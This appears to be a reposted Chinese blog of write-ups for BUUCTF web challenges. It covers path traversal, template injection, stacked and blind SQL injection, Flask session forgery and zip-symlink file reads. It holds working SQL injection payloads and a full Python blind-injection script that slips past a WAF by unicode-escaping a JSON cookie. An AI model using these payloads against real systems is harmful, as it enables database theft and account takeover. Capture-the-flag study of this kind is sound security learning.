BUUCTF平台-web-边刷边记录-1

Posted wfzwebsecuity

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUUCTF平台-web-边刷边记录-1相关的知识,希望对你有一定的参考价值。

1.WarmUp

技术图片

思路很清晰,文件包含,漏洞点在代码会二次解码,只需注入一个?就可以使用../../进行路径穿越,然后去包含flag,flag路径在hint.php里面有

 2.easy_tornado

技术图片

技术图片

技术图片

题目就给了这些信息,flag路径已知,render应该是跟模板注入相关,hint.txt给的应该是filehash的算法,

看看url,我们可以控制文件名和文件hash

技术图片

技术图片

随便传一个不存在的文件名会跳转到error页面,这里直接把error字符串返回了回来,所以尝试一下模板注入,写个9,也返回了,猜测题目应该是我们需要去算出flag文件对应的filehash,但是因为这个密钥是不知道的,所以我们需要去通过模板注入弄出密钥,题目又是tornado,这里常规模板注入的字符比如[],()都被过滤掉了,因此尝试找一些tonado的全局配置来读取看看

 技术图片

技术图片

所以用handler.settings可以访问到tornado的一些“应用程序设置“,那么web网站中的一些变量信息应该也在其中存储着,所以直接访问就能得到密钥,然后就可以根据这个密钥来构造filehash

技术图片

得到secret然后md5哈希一下就可以,看文档还是有用的,不会就多看文档多google,当然思路要对,比如这里就猜测secret存储在应用的一些全局配置中。

技术图片

3.随便注

技术图片

这里首先提交1,这里回显的1对应的数据,然后提交1‘,报错了

技术图片

再提交1‘ or ‘‘=‘,返回正常:

技术图片

说明肯定存在注入,但是这里把常见的关键字都过掉了,并且是不区分大小写的正则进行过滤,所以常规的查系统表然后注入的方法肯定不行,这里可以尝试堆叠注入。

技术图片

技术图片

得到了两张表,那么接下来肯定要查一下两张表有哪些字段,用show coloums from,就可以得到flag字段,这里使用show create table `1919810931114514`;语句也可以查到表的结构。
然后

技术图片

 

技术图片

 这里有两种解法:

第一种,因为后端数据库实际上是查询的words表,可以使用alter来更改表名和表字段,让1919810931114514的表更名为words表,那么查询的words的时候实际上是对19这张表的查询,这思路真骚。

payload为:

‘;alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;#

然后再查询就可以查询到flag了,这里我猜测后端语句应该是select * from words where id=1

技术图片

 

 第二种,除了这种骚操作,常规的我见过的还是这种:

#coding=utf-8
import requests
#1919810931114514
part_url=‘http://49.4.66.242:31368/?inject=‘
payload="select flag from `1919810931114514`;"
payload=payload.encode(‘hex‘)
payload=‘‘‘1‘;Set @x=0x‘‘‘+str(payload)+‘‘‘;Prepare a from @x;execute a;%23‘‘‘
print payload
full_url=part_url+payload
r=requests.get(url=full_url)
print r.content

先编译sql语句,这里将payload进行了16进制编码,然后使用execute来进行执行,这里16进制编码的payload在编译中可以识别出来的,又学到了。

4.kzone

 直接访问是跳转了,说明应该有js之类检测,不满足就跳转,直接扫一下目录:

这里就不扫了,buu有检测,怕被ban,总之可以扫描到源码:

可以看到index.php有这一段加以限制

技术图片

 注入点在member.php里,此时将cookie中的值json_decode以后拼接username,因为有第一行defined的限制,找到其定义的地方在common.php

技术图片

技术图片

其中在safe.php中对一些sql关键字进行了过滤union过滤了,and or都过滤了,\\s把空格也都过滤了,那么系统表都用不了了,短路还可以用^或这||或者&&来代替,单引号也没有过滤, 因此可以闭合前面的单引号,字符串截取函数我们可以用right,因为ord+mid+ascii+substring都被过滤了,空格可以用/**/来绕过,但是等号,大于小于也没了,因此正常的注入语句就用不了,所以必须要bypass,这里注意到safe.php的过滤

技术图片

技术图片

这里对所有的get、post、cookie的值进行了过滤http头部内的值是没有过滤的,那么可以尝试找一下http头部内有没有注入的点,但是在此题中是不存在的,但是在member.php中要对cookie中的值进行json_decode,因此可以先对关键字进行unicode编码一下,然后经过safe.php过滤时可以顺利绕过,再经过json_decode解码时就可以还原成正确的payload

先在burp中测试一下注入的逻辑:

技术图片

当注入admin_user=sss‘/**/||/**/‘1时,此时返回了两个set-cookie,当注入admin_user=sss‘/**/||/**/‘0时,返回了四个set-cookie

 技术图片

那么我们就可以通过脚本来判断返回的set-cookie个数来判断逻辑,从而完整布尔盲注,当然这里要用到=等号,和o进行一个unicode编码替换,编写脚本如下,我们可以依次查库,用burp一跑就可以跑出来当前数据库长度为12

技术图片

然后就可以跑出当前的数据库,为hctf_zone

然后跑出第一张表为fish_admin

技术图片

第二张表为ip

技术图片

第三表为fish_user

技术图片

然后最后一张表就是flag所在的表 fl2222g

技术图片

然后继续查出该表的字段为f44ag

技术图片

然后就能查出flag长度

技术图片

然后就能查出flag了

exp:

#coding:utf-8
import  string
import time
import requests
url = "http://web39.buuoj.cn/include/common.php"

def encode(payload):
    payload = payload.replace(‘or‘,‘\\u00‘+str(hex(ord(‘o‘))[2:])+"r")
    payload = payload.replace(‘=‘,‘\\u00‘+str(hex(ord(‘=‘))[2:]))
    payload = payload.replace(‘ ‘,‘/**/‘)
    print payload
    return payload

def database_length():
    inject = requests.session()
    db_length = 0
    for i in range(20):
        payload = "tr1ple‘ or (length((select database()))=) && ‘1".format(str(i))
        payload = encode(payload)
        #print(payload)
        cookie = "islogin":"1", "login_data": "\\"admin_user\\":\\""+payload+"\\",\\"admin_pass\\":22"
                  ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
                  "wzws_cid":"2be75d4aa1d0208371049ab3d98730380c3ec0246c2b11de690ffae3a34c87545fac57fe81c91446c6ea0dc9e06f686a8e54160f220dc90124b7a61de8c251f5"
                
        #print(cookie)
        time.sleep(1)
        #print inject.get(url=url, cookies=cookie).headers
        a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count(‘islogin‘)
        print a
        time.sleep(1)
        if a==1:
            print "the length of database is ".format(str(i))

def dump_database():
    inject = requests.session()
    payloads = string.lowercase + "" + string.digits+"_"
    flag = "zone"
    temp = ""
    for i in range(5, 100):
        for j in payloads:
            temp =  j+flag
            payload = "tr1ple‘ or (right((select database()),)=‘‘) && ‘1".format(str(i), temp)
            payload = encode(payload)
            header="User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (Khtml, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
            cookie = "islogin": "1", "login_data": "\\"admin_user\\":\\"" + payload + "\\",\\"admin_pass\\":22"
                ,"PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8541cedec92acb01375a17927e990adee3e"
            
            # print(cookie)
            a = inject.get(url=url, cookies=cookie,headers=header).headers["Set-Cookie"]
            a=  a.count(‘islogin‘)
            #print a
            time.sleep(1)
            if a==1:
                flag=temp
                print flag
                break



def dump_table():
    inject = requests.session()
    payloads = string.lowercase + "" + string.digits + "_"+string.uppercase
    flag = ""
    temp = ""
    for i in range(1, 100):
        for j in payloads:
            temp = j + flag
            payload = "tr1ple‘ or (right((select table_name from information_schema.tables where table_schema=database() limit 3,1),)=‘‘) && ‘1".format(str(i), temp)
            payload = encode(payload)
            header = 
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
            cookie = "islogin": "1", "login_data": "\\"admin_user\\":\\"" + payload + "\\",\\"admin_pass\\":22"
                , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                      "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
                      
            # print(cookie)
            a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
            a = a.count(‘islogin‘)
            # print a
            time.sleep(1)
            if a == 1:
                flag = temp
                print flag
                break

def dump_column():
    inject = requests.session()
    payloads = string.lowercase + "" + string.digits + "_"+string.uppercase
    flag = ""
    temp = ""
    for i in range(1, 100):
        for j in payloads:
            temp = j + flag
            payload = "tr1ple‘ or (right((select column_name from information_schema.columns where table_schema=database() && table_name=0x666c3232323267 limit 0,1),)=‘‘) && ‘1".format(str(i), temp)
            payload = encode(payload)
            header = 
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
            cookie = "islogin": "1", "login_data": "\\"admin_user\\":\\"" + payload + "\\",\\"admin_pass\\":22"
                , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                      "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
                      
            # print(cookie)
            a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
            a = a.count(‘islogin‘)
            # print a
            time.sleep(1)
            if a == 1:
                flag = temp
                print flag
                break

def flag_length():
    inject = requests.session()
    db_length = 0
    for i in range(10,40):
        payload = "tr1ple‘ or (length((select f44ag from fl2222g))=) && ‘1".format(str(i))
        payload = encode(payload)
        #print(payload)
        cookie = "islogin":"1", "login_data": "\\"admin_user\\":\\""+payload+"\\",\\"admin_pass\\":22"
                  ,"PHPSESSID":"9ab188f3509995d88a68190fedc82358",
                  "wzws_cid":"5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe8548ff3860e266289c1326244e9ba33b4ef"
                
        #print(cookie)
        time.sleep(1)
        #print inject.get(url=url, cookies=cookie).headers
        a=inject.get(url=url,cookies=cookie).headers["Set-Cookie"].count(‘islogin‘)
        print a
        time.sleep(1)
        if a==1:
            print "the flag length is ".format(str(i))


def dump_flag():
    inject = requests.session()
    payloads = string.lowercase + "" + string.digits
    flag = "datmq1oh3j3rp0b18z4m"
    temp = ""
    for i in range(22, 39):
        for j in payloads:
            temp = j + flag
            payload = "tr1ple‘ or (right((select f44ag from fl2222g),)=‘‘) && ‘1".format(str(i), temp)
            payload = encode(payload)
            header = 
                "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36"
            cookie = "islogin": "1", "login_data": "\\"admin_user\\":\\"" + payload + "\\",\\"admin_pass\\":22"
                , "PHPSESSID": "9ab188f3509995d88a68190fedc82358",
                      "wzws_cid": "5c4e233163a920134371bd1c9b7194124e1cf1ea5f8546f2166c5c389cdf502df61f375a4d508bd3121ff8f686cfe854ac13a8224f44b6d3e5ef234e42e8fe27"
                      
            # print(cookie)
            a = inject.get(url=url, cookies=cookie, headers=header).headers["Set-Cookie"]
            a = a.count(‘islogin‘)
            # print a
            time.sleep(1)
            if a == 1:
                flag = temp
                print flag
                break

if __name__ == ‘__main__‘:
    #database_length()
    #dump_database()
    #dump_table()
    #dump_column()
    #flag_length()
    dump_flag()

 

总结:

这道题考bypass waf来进行注入,虽然waf过滤了很多,但是有个json_decode,因此导致我们可以无视waf来进行注入,看了其他师傅的wp,当然这道题还有几个值得学习的点:

1.过滤了or,那么information_schema表用不了了,但是除了这一张元数据表外,还有其它的系统数据表可以用:

mysql.innodb_table_stats可以用来查表名

select/**/table_name/**/from/**/mysql.innodb_table_stats/**/limit/**/0,1

但是这种貌似不能直接查到字段,要是要提取flag的话,还得让这个flag表只有一列

链接:https://xz.aliyun.com/t/3253#toc-7

2.对于注入时可以添加binary到字段前防止在对比时大小写不敏感:

技术图片

3.除了通常的字符串截取函数,mid+substr,right,left,还是可以用字符串比较函数strcmp,返回1或-1,同样可以用来盲注

技术图片

或者find_in_set,两个字符串相等为1,否则为0,这个比较少见

技术图片

更多的bypass先知上有人发了一篇,可以拿来参考

https://xz.aliyun.com/t/3992#toc-18

4.调试payload

在nu1l的wp中也看到了可以发包到burp进行调试,这样很方便看到payload的效果,只要涉及到mysql函数嵌套的就用括号包起来

技术图片

5.admin

解法1:

第一种,利用unicode编码的漏洞,在unicode能表示的字符中,有的字符长的很相似,而恰巧有一些函数能够进行字符之间的转换,从而造成意想不到的结果

技术图片

他们对用户名是否重复的判断是执行一次这个函数然后进行比对 ,例如AAA会被变为aaa则和之前已经注册过的aaa重复 ,但是这里出现了一个错误,注册一个???,经过函数处理后变成了AAA,因为与aaa不同所以注册成功,而在用户点击重置密码的连接的时候,这个函数再次被执行了一次,AAA变成了aaa,导致用户aaa的密码被越权修改,这段话摘自:http://blog.lnyas.xyz/?p=1411,所以才能够导致在注册的时候?dmin,登陆的时候经过函数处理依次变为Admin,改密码再处理一次变为admin,从而就修改了admin的密码,关于这个是如何发现的,我觉得如果本身熟悉python开发的话很快就能意识到strlower的问题,一般转化小写不用这个函数,所以我们才需要去跟踪研究此函数可能存在的bypass方法,并且对于此题,给了登陆,注册,修改密码,那么一般套路应该就是要修改admin的密码再登录。

解法2:

技术图片

直接修改把session打印出来就可以,一般给了源码本地就可以跑起来模拟

技术图片

在config.py里面也给了secretkey,可以直接进行cookie伪造,flask session是存储在客户端的,只有签名防窜改作用,但是不是加密的,因此客户端可读,如果flask用来签名session的key泄露,那么就可以伪造session

 技术图片

6.hideandseek

这道题平台环境坏了,说一下思路:

1.zip软链接+任意文件读取

首先要上传一个zip,可以软链接到任意文件,从而造成任意文件读取,因为是flask框架,先读/proc/self/environ,可以得到

UWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini
PWD=/app/hard_t0_guess_n9f5a95b5ku9fg
WSGI 的官方定义是,the Python Web Server Gateway Interface。从名字就可以看出来,这东西是一个Gateway,也就是网关。网关的作用就是在协议之间进行转换。
WSGI 是作为 Web 服务器与 Web 应用程序或应用框架之间的一种低级别的接口,以提升可移植 Web 应用开发的共同点。WSGI 是基于现存的 CGI 标准而设计的。
很多框架都自带了 WSGI server ,比如 Flask,webpy,Django、CherryPy等等。当然性能都不好,自带的 web server 更多的是测试用途,发布时则使用生产环境的 WSGI server或者是联合 nginx 做 uwsgi 。
uWSGI是一个Web服务器,它实现了WSGI协议、uwsgi、http等协议。Nginx中HttpUwsgiModule的作用是与uWSGI服务器进行交换。
为什么有了uWSGI为什么还需要nginx?因为nginx具备优秀的静态内容处理能力,然后将动态内容转发给uWSGI服务器,这样可以达到很好的客户端响应。

了解到uwsgi其实是个一般python web用的web服务器,用来动态处理客户端的请求,那么uswgi.ini中应该包含了

再读取uwsgi_ini可以得到当前python web服务器的一些配置信息:

技术图片

其中module中包含着py文件的路径名称,从而结合/proc/self/environ中的PWD来读取py的源码

即/app/hard_t0_guess_n9f5a95b5ku9fg/+module名.py

2.伪随机+session伪造

flask sesion伪造时必须要知道secret key,这里

random.seed(uuid.getnode())
app = Flask(__name__)
app.config[‘SECRET_KEY‘] = str(random.random()*100)

uuid.getnode()函数是取mac地址作为种子,因此为固定值,所以可以本地跑出来secretkey,而linux的mac地址保存在/sys/class/net/eth0/address

技术图片

因此就可以伪造cookie登陆了,这里不能直接读flag,必须以admin登录才可以,因为有限制:

技术图片

并且在/app/hard_t0_guess_n9f5a95b5ku9fg/index.html里面有

技术图片

 所以这道题并没有新知识点,构造session的时候一般要和服务器端py版本一致

这个地址可以将mac地址转到10进制,从而输入种子,https://www.vultr.com/resources/mac-converter/

以上是关于BUUCTF平台-web-边刷边记录-1的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF(web刷题记录一)

buuctf 刷题记录 [第二章 web进阶]XSS闯关

题解记录-BUUCTF|Web (持续更新中)

buuctf 刷题记录 [第一章 web入门]afr_3

buuctf 刷题记录 [第二章 web进阶]SSRF Training

buuctf初学者学习记录--web第五题